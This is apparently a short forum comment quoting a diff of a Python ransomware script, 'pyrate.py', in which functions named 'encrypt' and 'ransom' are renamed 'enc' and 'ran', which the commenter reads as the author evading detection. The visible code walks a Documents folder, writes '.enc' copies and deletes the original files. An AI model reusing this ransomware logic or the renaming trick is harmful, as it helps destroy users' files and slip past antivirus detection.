Thank you. I hope devs find a way to fight back these kind of malware; OP realized it was being detected and counter-responded (still it's educational)
--- pyrate.py 2020-05-11 16:02:57.354937100 +0000
+++ "pyrate - Copy.py" 2020-05-04 20:34:50.040466800 +0000
@@ -11,7 +11,7 @@
return buf.value
-def enc(src, dst):
+def encrypt(src, dst):
print("Encrypting " + dst)
srcfile = open(src, 'rb')
dstfile = open(dst, 'wb')
@@ -19,10 +19,10 @@
srcfile.close()
dstfile.close()
os.remove(src)
-def ran(dir):
+def ransom(dir):
for filename in os.listdir(dir):
if not filename.endswith(".enc"):
- enc(dir+filename, dir+filename+".enc")
+ encrypt(dir+filename, dir+filename+".enc")
-ran(find_mydocs()+"\\test\\")
+ransom(find_mydocs()+"\\test\\")
Hopefully devs find a way to cut it off from root